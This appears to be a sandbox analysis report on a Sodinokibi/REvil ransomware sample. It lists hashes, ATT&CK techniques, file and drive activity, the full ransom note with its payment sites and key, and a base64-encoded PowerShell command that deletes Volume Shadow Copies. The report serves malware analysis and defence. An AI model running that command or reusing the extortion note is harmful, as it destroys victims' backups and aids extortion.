sodinokibi | 7559e6ca8b77400f88bf4e67208a1c32570a670068eccae9e3d226cc5471bd47

Resubmissions

28-04-2024 18:31

240428-w6cwyaec5v 10

21-04-2024 08:57

21-04-2024 05:45

18-04-2024 19:05

18-04-2024 16:34

04-03-2024 18:33

02-03-2024 17:01

02-03-2024 10:05

Analysis

max time kernel
1780s
max time network
1531s
platform
windows11-21h2_x64
resource
win11-20240412-en
resource tags

arch:x64arch:x86image:win11-20240412-enlocale:en-usos:windows11-21h2-x64system
submitted
18-04-2024 16:34

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General

Target

bazaar.2020.02/HEUR-Trojan-Ransom.Win32.Sodin.dll
Size

164KB
MD5

395015986431f15f5bfd25aa1966ccb0
SHA1

3f0f0d0658641085fcdb0d009774a85e33c37758
SHA256

0e468c960706b3f4181f54a35650b8edbd0960785dda89a72cdd1e5d600f188b
SHA512

b52420194038a7e248d50f936ed877b85cdcf4bc8b1bfa01c8b823b1a619630f85e886ae12c77d7c1b664f4d41a67ddbf00938e0dea262aba51229d134f027fe
SSDEEP

3072:BrX1t2U05pbJ5xhxY9doh7O79siUs/NaDiMQDmbU4E:BrltH05f5v2i7O93NjMIKT

Score

10^/10

sodinokibi ransomware

Malware Config

Extracted

Path

C:\Users\8uywu-readme.txt

Family

sodinokibi

Ransom Note

---=== Welcome. Again. ===--- [+] Whats Happen? [+] Your files are encrypted, and currently unavailable. You can check it: all files on your computer has extension 8uywu. By the way, everything is possible to recover (restore), but you need to follow our instructions. Otherwise, you cant return your data (NEVER). [+] What guarantees? [+] Its just a business. We absolutely do not care about you and your deals, except getting benefits. If we do not do our work and liabilities - nobody will not cooperate with us. Its not in our interests. To check the ability of returning files, You should go to our website. There you can decrypt one file for free. That is our guarantee. If you will not cooperate with our service - for us, its does not matter. But you will lose your time and data, cause just we have the private key. In practise - time is much more valuable than money. [+] How to get access on website? [+] You have two ways: 1) [Recommended] Using a TOR browser! a) Download and install TOR browser from this site: https://torproject.org/ b) Open our website: http://aplebzu47wgazapdqks6vrcv6zcnjppkbxbr6wketf56nf6aq2nmyoyd.onion/8DE5E305A4E52B39 2) If TOR blocked in your country, try to use VPN! But you can use our secondary website. For this: a) Open your any browser (Chrome, Firefox, Opera, IE, Edge) b) Open our secondary website: http://decryptor.top/8DE5E305A4E52B39 Warning: secondary website can be blocked, thats why first variant much better and more available. When you open our website, put the following data in the input form: Key: 81KnkJUzNzFlD4aT1Vfjx7XCeDJdW4uhYRJdsRQW+mGjfhH2wKn1HY+8DGORLCko DGpw6qiTfVf9vagGTGBVlXTA50XyEEJHTiUJbfYXW5at1b+4QPj9kgXng3+SW9CD cK4gCDemJt6OJfqf/4n/t4jxoKfVg6bK5s5/el0073KyH1C9NHCkHo6upKMisKgs nopJ2WDBDPPmpn2Dzn3FCjiq4tERb+1CCHgwCU3jmBxnq9gXOBGL4Y6M0v4EBtrB JY5A0tP60s91PeEF+AS5AQOF9dbSTgupgwMvL8c5srNeaV+rQe5oTesJyfLMcxSS dZtVSWSQ8fQYKISEvbBPJwvW5xOeDP0d5L8VSP7lfxaFT5r1fk7ZjuhfPMVrdXSG 9W+DpQNMEdjeFYfqZdqElCSfvno+4AHzQDn2Qv42HYZh7OgMeK40jITxo+8+a5q+ +jyWmJZvKnwwnIxge3pzpM26dmr9o37ZpPt7P1jTUVdEvyLW8FhCkzUdMS0XXJW7 NWoLa4jmQTW6MjsbdQaIGmMFTVxjyqufHBsBZrB/2rNNmk85vCpT8K9txg2NOzDq /s1ef8ufB0gF3Bh6DYFDbL5rFHsYMWx03/OtCEWXPhKw3UAC4P4kI7YSRqdN94x3 pzyIVA4h43VXFbR5yNFNGZGQM2V7fP/dM3RR2+n2OtNoWXHPS+Y6yb3dcijVrHzC +0ERfndKf+WAIL8xSFl+bJeLupX1RRgNQRLWiTb6qWhKxjMVN2xr/ow8eCQZVVQ/ CUUUIkGklGpV0zXYbhDyOACW2IQzINxCQeKC1JUQ1SA6nXv85G/oOmx3UbhpEAul 1i56Dr6xxF7koOSwKQafv58skPIBHMfm4fhzZe7kbPdVRQCOjr7HLbfe7ro7EGg7 FDHXi7FVaod690YIJVAFqL2mCIKhXGkktfiO1Ix14rUUXoAwHPcSsBK+WrznF5dS EdiVeyAbkbSWjJfoXEStg3tYOUR6DWkYvjIVgbpvq7TrfElitkroBeage0ZaXXXT 7fWomrxEZM+NoURW/M2WlsOAVm5Wt5XfJiG2ev07aS9V6NRy6SpwtE/u9h21sMdc 3tkGwmNlAl+s0EVUmVnFI9Uip8pdRbxdlsuvjHVSlAIwAZRqEtQURCBC0XnriSqt qQ2GpsXmq/jdUTQ+suRQWav69C2QDkbTVTTMqzfaRQ/J7Bciw9LmvGkODhO3cU7s BvVNXuLwKnjk7383r6rCnQ== Extension name: 8uywu ----------------------------------------------------------------------------------------- !!! DANGER !!! DONT try to change files by yourself, DONT use any third party software for restoring your data or antivirus solutions - its may entail damge of the private key and, as result, The Loss all data. !!! !!! !!! ONE MORE TIME: Its in your interests to get your files back. From our side, we (the best specialists) make everything for restoring, but please should not interfere. !!! !!! !!!

URLs

http://aplebzu47wgazapdqks6vrcv6zcnjppkbxbr6wketf56nf6aq2nmyoyd.onion/8DE5E305A4E52B39

http://decryptor.top/8DE5E305A4E52B39

Signatures

Sodin,Sodinokibi,REvil
Ransomware with advanced anti-analysis and privilege escalation functionality.
ransomware sodinokibi

Enumerates connected drives 3 TTPs 25 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

Processes:

rundll32.exe

description	ioc	Process
File opened (read-only)	\??\H:	rundll32.exe
File opened (read-only)	\??\M:	rundll32.exe
File opened (read-only)	\??\U:	rundll32.exe
File opened (read-only)	\??\V:	rundll32.exe
File opened (read-only)	\??\G:	rundll32.exe
File opened (read-only)	\??\T:	rundll32.exe
File opened (read-only)	\??\Y:	rundll32.exe
File opened (read-only)	\??\B:	rundll32.exe
File opened (read-only)	\??\I:	rundll32.exe
File opened (read-only)	\??\L:	rundll32.exe
File opened (read-only)	\??\J:	rundll32.exe
File opened (read-only)	\??\X:	rundll32.exe
File opened (read-only)	\??\A:	rundll32.exe
File opened (read-only)	\??\E:	rundll32.exe
File opened (read-only)	\??\O:	rundll32.exe
File opened (read-only)	\??\S:	rundll32.exe
File opened (read-only)	\??\Z:	rundll32.exe
File opened (read-only)	\??\K:	rundll32.exe
File opened (read-only)	\??\P:	rundll32.exe
File opened (read-only)	\??\R:	rundll32.exe
File opened (read-only)	\??\W:	rundll32.exe
File opened (read-only)	\??\D:	rundll32.exe
File opened (read-only)	\??\N:	rundll32.exe
File opened (read-only)	\??\Q:	rundll32.exe
File opened (read-only)	\??\F:	rundll32.exe

Drops file in Program Files directory 19 IoCs

Processes:

rundll32.exe

description	ioc	Process
File opened for modification	\??\c:\program files\RevokeUninstall.TTS	rundll32.exe
File opened for modification	\??\c:\program files\UnprotectRegister.3gpp	rundll32.exe
File opened for modification	\??\c:\program files\ConfirmResolve.php	rundll32.exe
File opened for modification	\??\c:\program files\ProtectRestart.ps1xml	rundll32.exe
File opened for modification	\??\c:\program files\ExitRedo.vsdx	rundll32.exe
File created	\??\c:\program files\8uywu-readme.txt	rundll32.exe
File opened for modification	\??\c:\program files\CompleteSubmit.ADTS	rundll32.exe
File opened for modification	\??\c:\program files\CloseCheckpoint.txt	rundll32.exe
File opened for modification	\??\c:\program files\DisconnectSwitch.png	rundll32.exe
File opened for modification	\??\c:\program files\EnableLimit.mov	rundll32.exe
File opened for modification	\??\c:\program files\HideUnblock.jfif	rundll32.exe
File opened for modification	\??\c:\program files\RepairUse.aiff	rundll32.exe
File opened for modification	\??\c:\program files\SubmitImport.mpeg2	rundll32.exe
File created	\??\c:\program files (x86)\8uywu-readme.txt	rundll32.exe
File opened for modification	\??\c:\program files\ApproveReset.ps1xml	rundll32.exe
File opened for modification	\??\c:\program files\LimitSet.m1v	rundll32.exe
File opened for modification	\??\c:\program files\UninstallTest.ps1xml	rundll32.exe
File opened for modification	\??\c:\program files\AddSelect.xml	rundll32.exe
File opened for modification	\??\c:\program files\DisableImport.xls	rundll32.exe

Suspicious behavior: EnumeratesProcesses 4 IoCs

Processes:

rundll32.exepowershell.exe

pid	Process
1968	rundll32.exe
1968	rundll32.exe
2800	powershell.exe
2800	powershell.exe

Suspicious use of AdjustPrivilegeToken 4 IoCs

Processes:

powershell.exevssvc.exe

description	pid	Process
Token: SeDebugPrivilege	2800	powershell.exe
Token: SeBackupPrivilege	2456	vssvc.exe
Token: SeRestorePrivilege	2456	vssvc.exe
Token: SeAuditPrivilege	2456	vssvc.exe

Suspicious use of WriteProcessMemory 5 IoCs

Processes:

rundll32.exerundll32.exe

description	pid	Process	procid_target
PID 4904 wrote to memory of 1968	4904	rundll32.exe	80
PID 4904 wrote to memory of 1968	4904	rundll32.exe	80
PID 4904 wrote to memory of 1968	4904	rundll32.exe	80
PID 1968 wrote to memory of 2800	1968	rundll32.exe	82
PID 1968 wrote to memory of 2800	1968	rundll32.exe	82

Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

C:\Windows\system32\rundll32.exe
rundll32.exe C:\Users\Admin\AppData\Local\Temp\bazaar.2020.02\HEUR-Trojan-Ransom.Win32.Sodin.dll,#1
1⤵
- Suspicious use of WriteProcessMemory
PID:4904
- C:\Windows\SysWOW64\rundll32.exe
  rundll32.exe C:\Users\Admin\AppData\Local\Temp\bazaar.2020.02\HEUR-Trojan-Ransom.Win32.Sodin.dll,#1
  2⤵
  - Enumerates connected drives
  - Drops file in Program Files directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of WriteProcessMemory
  PID:1968
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -e RwBlAHQALQBXAG0AaQBPAGIAagBlAGMAdAAgAFcAaQBuADMAMgBfAFMAaABhAGQAbwB3AGMAbwBwAHkAIAB8ACAARgBvAHIARQBhAGMAaAAtAE8AYgBqAGUAYwB0ACAAewAkAF8ALgBEAGUAbABlAHQAZQAoACkAOwB9AA==
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2800

C:\Windows\system32\wbem\unsecapp.exe
C:\Windows\system32\wbem\unsecapp.exe -Embedding
1⤵
PID:2312

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:2456

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Peripheral Device Discovery

T1120

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

C:\Users\8uywu-readme.txt

Filesize
6KB

MD5
1e36d39f44e2187f53afc1d40a218c47

SHA1
1758939465efcffeba02f7f77ee22005e982b0f4

SHA256
34c41f4153afb1a64e979c85693a92326beaa2a07f24a6b42b8c74cc0c29369d

SHA512
b46456d81ce8ead931b01157c770144b552f28c18bbfe318fa7763d7b8a918e3e6d4e6a1b30b9ce3c0e5c80daf922f85593665cbf5bbc1cdccc45696f606516d

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_l5ntdgaf.2cy.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/2800-8-0x00007FF984A80000-0x00007FF985542000-memory.dmp

Filesize
10.8MB

Download
memory/2800-9-0x000001487C650000-0x000001487C660000-memory.dmp

Filesize
64KB

Download
memory/2800-10-0x000001487C650000-0x000001487C660000-memory.dmp

Filesize
64KB

Download
memory/2800-11-0x0000014864490000-0x00000148644B2000-memory.dmp

Filesize
136KB

Download
memory/2800-14-0x00007FF984A80000-0x00007FF985542000-memory.dmp

Filesize
10.8MB

Download